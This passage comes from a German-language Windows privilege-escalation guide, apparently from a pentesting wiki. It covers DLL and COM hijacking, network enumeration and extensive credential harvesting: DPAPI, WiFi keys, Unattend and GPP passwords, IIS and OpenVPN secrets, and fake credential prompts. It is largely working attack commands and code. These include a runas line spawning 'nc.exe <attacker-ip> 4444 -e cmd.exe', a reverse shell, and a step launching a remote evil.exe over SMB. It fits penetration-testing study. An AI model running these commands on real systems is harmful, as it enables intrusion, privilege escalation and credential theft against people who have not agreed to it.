  • Überwache user-mode opens verdächtiger device-Namen (z. B. \ .\amsdk*) und spezifische IOCTL-Sequenzen, die auf Missbrauch hindeuten.
  • Erzwinge Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) und pflege eigene Allow/Deny-Listen.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Prüfe die Berechtigungen aller Ordner im PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Für weitere Informationen darüber, wie man diese Prüfung ausnutzen kann:

Writable Sys Path +Dll Hijacking Privesc

Netzwerk

Freigaben

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Prüfe die hosts file auf andere bekannte Computer, die hardcoded sind.

type C:\Windows\System32\drivers\etc\hosts

Netzwerkschnittstellen & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Offene Ports

Prüfe von außen auf eingeschränkte Dienste

bash
netstat -ano #Opened ports?

Routingtabelle

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP-Tabelle

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-Regeln

Check this page for Firewall related commands (Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)

Mehr commands for network enumeration here

Windows-Subsystem für Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Die Binärdatei bash.exe ist auch in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe zu finden

Wenn Sie den root user erhalten, können Sie auf jedem Port lauschen (das erste Mal, wenn Sie nc.exe verwenden, um auf einem Port zu lauschen, wird per GUI gefragt, ob nc von der Firewall zugelassen werden soll).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Um Bash einfach als root zu starten, können Sie --default-user root verwenden.

Sie können das WSL-Dateisystem im Ordner C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ durchsuchen.

Windows-Anmeldeinformationen

Winlogon-Anmeldeinformationen

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Anmeldeinformations-Manager / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen Windows die Benutzer automatisch anmelden kann. Auf den ersten Blick könnte es so erscheinen, als könnten Benutzer dort ihre Facebook-, Twitter- oder Gmail-Anmeldeinformationen usw. speichern, sodass sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall.

Windows Vault speichert Anmeldeinformationen, mit denen Windows die Benutzer automatisch anmelden kann, was bedeutet, dass jede Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen (Server oder eine Website), diesen Credential Manager & Windows Vault nutzen kann und die gespeicherten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzername und Passwort eingeben.

Sofern die Anwendungen nicht mit dem Credential Manager interagieren, ist es meiner Meinung nach nicht möglich, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung den Vault nutzen möchte, sollte sie daher irgendwie mit dem Credential Manager kommunizieren und die Anmeldeinformationen für diese Ressource aus dem Standard-Speichervault anfordern.

Verwenden Sie cmdkey, um die auf dem Rechner gespeicherten Anmeldeinformationen aufzulisten.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Anschließend können Sie runas mit der Option /savecred verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft ein remote binary über ein SMB share auf.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Verwendung von runas mit bereitgestellten Anmeldeinformationen.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Beachte, dass mimikatz, lazagne, credentialfileview, VaultPasswordView, oder das Empire Powershells module.

DPAPI

Die Data Protection API (DPAPI) stellt eine Methode zur symmetrischen Verschlüsselung von Daten bereit, die vorwiegend im Windows-Betriebssystem für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das wesentlich zur Entropie beiträgt.

DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Login-Geheimnissen des Benutzers abgeleitet wird. In Szenarien mit Systemverschlüsselung verwendet es die Domain-Authentifizierungsgeheimnisse des Systems.

Verschlüsselte Benutzer-RSA-Schlüssel werden mit DPAPI im Verzeichnis %APPDATA%\Microsoft\Protect\{SID} gespeichert, wobei {SID} den Security Identifier des Benutzers darstellt. Der DPAPI-Schlüssel, der zusammen mit dem Master Key, der die privaten Schlüssel des Benutzers in derselben Datei schützt, abgelegt ist, besteht typischerweise aus 64 Bytes zufälliger Daten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist und ein Auflisten seines Inhalts über den dir-Befehl in CMD verhindert wird, obwohl es über PowerShell aufgelistet werden kann).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Du kannst das mimikatz module dpapi::masterkey mit den entsprechenden Argumenten (/pvk oder /rpc) verwenden, um es zu entschlüsseln.

Die credentials files, die durch das Master-Passwort geschützt sind befinden sich normalerweise in:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Du kannst das mimikatz module dpapi::cred mit dem passenden /masterkey verwenden, um es zu entschlüsseln.
Du kannst viele DPAPI masterkeys aus dem Speicher mit dem sekurlsa::dpapi module extrahieren (wenn du root bist).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials werden oft für scripting und Automatisierungsaufgaben verwendet, um verschlüsselte credentials bequem zu speichern. Die credentials sind durch DPAPI geschützt, was typischerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.

Um eine PS credentials aus der Datei, die sie enthält, zu entschlüsseln, kannst du Folgendes tun:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

WLAN

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Saved RDP Connections

Sie finden diese unter HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
und in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Kürzlich ausgeführte Befehle

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Anmeldeinformationsmanager für Remote Desktop

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Verwende das Mimikatz dpapi::rdg-Modul mit dem passenden /masterkey, um jede .rdg-Datei zu entschlüsseln.
Sie können viele DPAPI-Masterkeys aus dem Speicher mit dem Mimikatz sekurlsa::dpapi-Modul extrahieren.

Sticky Notes

Viele Nutzer verwenden oft die StickyNotes-App auf Windows-Arbeitsstationen, um Passwörter und andere Informationen zu speichern, ohne zu wissen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite und es lohnt sich immer, danach zu suchen und sie zu untersuchen.

AppCmd.exe

Beachte, dass zum Wiederherstellen von Passwörtern aus AppCmd.exe Administratorrechte erforderlich sind und das Programm mit hohem Integritätsniveau ausgeführt werden muss.
AppCmd.exe befindet sich im Verzeichnis %systemroot%\system32\inetsrv\.
Wenn diese Datei existiert, ist es möglich, dass einige credentials konfiguriert wurden und wiederhergestellt werden können.

Dieser Code wurde aus PowerUP extrahiert:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Prüfe, ob C:\Windows\CCM\SCClient.exe existiert .
Installer werden mit SYSTEM-Rechten ausgeführt, viele sind anfällig für DLL Sideloading (Info von https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Dateien und Registry (Credentials)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host-Schlüssel

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH-Schlüssel in der Registry

Private SSH-Schlüssel können im Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys gespeichert werden, daher solltest du prüfen, ob sich dort etwas Interessantes befindet:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Wenn sich in diesem Pfad ein Eintrag befindet, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er wird verschlüsselt gespeichert, lässt sich aber mit https://github.com/ropnop/windows_sshagent_extract leicht entschlüsseln.
Mehr Informationen zu dieser Technik hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Wenn der ssh-agent-Dienst nicht läuft und du möchtest, dass er beim Systemstart automatisch startet, führe aus:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Es scheint, dass diese Technik nicht mehr gültig ist. Ich habe versucht, einige ssh keys zu erstellen, sie mit ssh-add hinzuzufügen und mich per ssh an einer Maschine anzumelden. Die Registry HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat die Verwendung von dpapi.dll während der asymmetrischen Schlüsselauthentifizierung nicht identifiziert.

Unbeaufsichtigte Dateien

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Sie können diese Dateien auch mit metasploit durchsuchen: post/windows/gather/enum_unattend

Beispielinhalt:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM Sicherungen

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud-Zugangsdaten

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Suche nach einer Datei namens SiteList.xml

Zwischengespeichertes GPP-Passwort

A feature was previously available that allowed the deployment of custom local administrator accounts on a group of machines via Group Policy Preferences (GPP). However, this method had significant security flaws. Firstly, the Group Policy Objects (GPOs), stored as XML files in SYSVOL, could be accessed by any domain user. Secondly, the passwords within these GPPs, encrypted with AES256 using a publicly documented default key, could be decrypted by any authenticated user. This posed a serious risk, as it could allow users to gain elevated privileges.

Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die lokal zwischengespeicherte GPP-Dateien scannt, die ein nicht-leeres "cpassword"-Feld enthalten. Wenn eine solche Datei gefunden wird, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details zur GPP und zum Speicherort der Datei, was bei der Identifizierung und Behebung dieser Sicherheitslücke hilft.

Suche in C:\ProgramData\Microsoft\Group Policy\history oder in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (vor Windows Vista) nach diesen Dateien:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Zum Entschlüsseln des cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec verwenden, um die Passwörter zu erhalten:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Webkonfiguration

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Beispiel für web.config mit credentials:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN-Zugangsdaten

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Nach Zugangsdaten fragen

Du kannst den Benutzer immer bitten, seine credentials oder sogar die credentials eines anderen Benutzers einzugeben, wenn du denkst, dass er sie kennen könnte (beachte, dass es wirklich riskant ist, den Client direkt nach den credentials zu fragen):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mögliche Dateinamen, die credentials enthalten

Bekannte Dateien, die vor einiger Zeit passwords im clear-text oder in Base64 enthielten

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Suche alle vorgeschlagenen Dateien:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials im RecycleBin

Sie sollten außerdem den Bin überprüfen, um darin nach credentials zu suchen

Um Passwörter wiederherzustellen, die von mehreren Programmen gespeichert wurden, können Sie Folgendes verwenden: http://www.nirsoft.net/password_recovery_tools.html

In der Registry

Andere mögliche Registry-Schlüssel mit credentials

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Browser-Verlauf

Du solltest nach Datenbanken (DBs) suchen, in denen Passwörter von Chrome or Firefox gespeichert sind.
Prüfe auch den Verlauf, Lesezeichen und Favoriten der Browser, da dort möglicherweise einige Passwörter gespeichert sind.

Tools zum Extrahieren von Passwörtern aus Browsern:

COM DLL Overwriting

Component Object Model (COM) ist eine im Windows-Betriebssystem integrierte Technologie, die Interkommunikation zwischen Softwarekomponenten in verschiedenen Programmiersprachen ermöglicht. Jede COM-Komponente ist über eine class ID (CLSID) identifiziert und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die über interface IDs (IIDs) identifiziert werden.

COM-Klassen und -Schnittstellen sind in der Registry unter HKEY\CLASSES\ROOT\CLSID bzw. HKEY\CLASSES\ROOT\Interface definiert. Diese Registry entsteht durch das Zusammenführen von HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Innerhalb der CLSIDs dieser Registry findest du den Unterschlüssel InProcServer32, der einen default value enthält, der auf eine DLL zeigt, sowie einen Wert namens ThreadingModel, der Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) oder Neutral (Thread Neutral) sein kann.

Grundsätzlich: Wenn du eine der DLLs überschreiben kannst, die ausgeführt werden, kannst du eine Privilegieneskalation erreichen, wenn diese DLL von einem anderen Benutzer ausgeführt wird.

Um zu erfahren, wie Angreifer COM Hijacking als Persistenzmechanismus verwenden, siehe:

COM Hijacking

Generische Passwortsuche in Dateien und Registry

Suche nach Dateiinhalten

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Nach einer Datei mit einem bestimmten Dateinamen suchen

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Durchsuche die Registry nach Schlüsselnamen und Passwörtern

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools that search for passwords

MSF-Credentials Plugin ist ein msf plugin. Ich habe dieses plugin erstellt, um automatisch jedes metasploit POST module auszuführen, das nach credentials auf dem Opfer sucht.
Winpeas sucht automatisch alle Dateien, die passwords enthalten und auf dieser Seite erwähnt werden.
Lazagne ist ein weiteres großartiges Tool, um passwords aus einem System zu extrahieren.

Das Tool SessionGopher durchsucht nach sessions, usernames und passwords mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Stell dir vor, dass ein Prozess, der als SYSTEM läuft, einen neuen Prozess (OpenProcess()) mit vollem Zugriff öffnet. Der gleiche Prozess erstellt außerdem einen neuen Prozess (CreateProcess()) mit niedrigen Privilegien, der jedoch alle offenen Handles des Hauptprozesses erbt.
Dann, wenn du vollen Zugriff auf den Prozess mit niedrigen Privilegien hast, kannst du das offene Handle zu dem mit OpenProcess() erstellten privilegierten Prozess übernehmen und einen Shellcode injizieren.
Lies dieses Beispiel für weitere Informationen darüber, wie man diese Schwachstelle erkennt und ausnutzt.
Lies diesen anderen Beitrag für eine ausführlichere Erklärung, wie man weitere offene Handles von Prozessen und Threads testet und missbraucht, die mit unterschiedlichen Berechtigungsstufen vererbt wurden (nicht nur voller Zugriff).

Named Pipe Client Impersonation

Gemeinsame Speichersegmente, sogenannte pipes, ermöglichen die Kommunikation zwischen Prozessen und den Datenaustausch.

Windows bietet die Funktion Named Pipes, die es nicht miteinander verwandten Prozessen ermöglicht, Daten auszutauschen, sogar über verschiedene Netzwerke. Das ähnelt einer Client/Server-Architektur, mit den Rollen named pipe server und named pipe client.

Wenn Daten von einem client durch eine pipe gesendet werden, kann der server, der die pipe eingerichtet hat, die Identität des clients annehmen, vorausgesetzt er verfügt über die erforderlichen SeImpersonate-Rechte. Wenn du einen privilegierten Prozess identifizierst, der über eine pipe kommuniziert, die du nachahmen kannst, bietet das die Möglichkeit, höhere Rechte zu erlangen, indem du die Identität dieses Prozesses übernimmst, sobald er mit der von dir eingerichteten pipe interagiert. Anleitungen zur Durchführung eines solchen Angriffs findest du hier und hier.

Außerdem erlaubt das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: https://github.com/gabriel-sztejnworcel/pipe-intercept und dieses Tool erlaubt, alle pipes aufzulisten und anzusehen, um privescs zu finden https://github.com/cyberark/PipeViewer

Sonstiges

Dateiendungen, die in Windows etwas ausführen können

Sieh dir die Seite https://filesec.io/ an

Überwachung von Kommandozeilen auf Passwörter

Wenn man als Benutzer eine shell erhält, kann es geplante Tasks oder andere Prozesse geben, die ausgeführt werden und dabei Anmeldeinformationen in der Kommandozeile übergeben. Das untenstehende Skript erfasst die Kommandozeilen der Prozesse alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es alle Unterschiede ausgibt.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Passwörter aus Prozessen stehlen

Von Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Wenn Sie Zugriff auf die grafische Oberfläche (über Konsole oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" von einem unprivilegierten Benutzer auszuführen.

Das ermöglicht, die Privilegien zu erhöhen und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Außerdem ist keine Installation erforderlich und die während des Vorgangs verwendete Binärdatei ist von Microsoft signiert und ausgestellt.

Einige der betroffenen Systeme sind die folgenden:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Um diese Schwachstelle auszunutzen, ist es notwendig, die folgenden Schritte durchzuführen:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

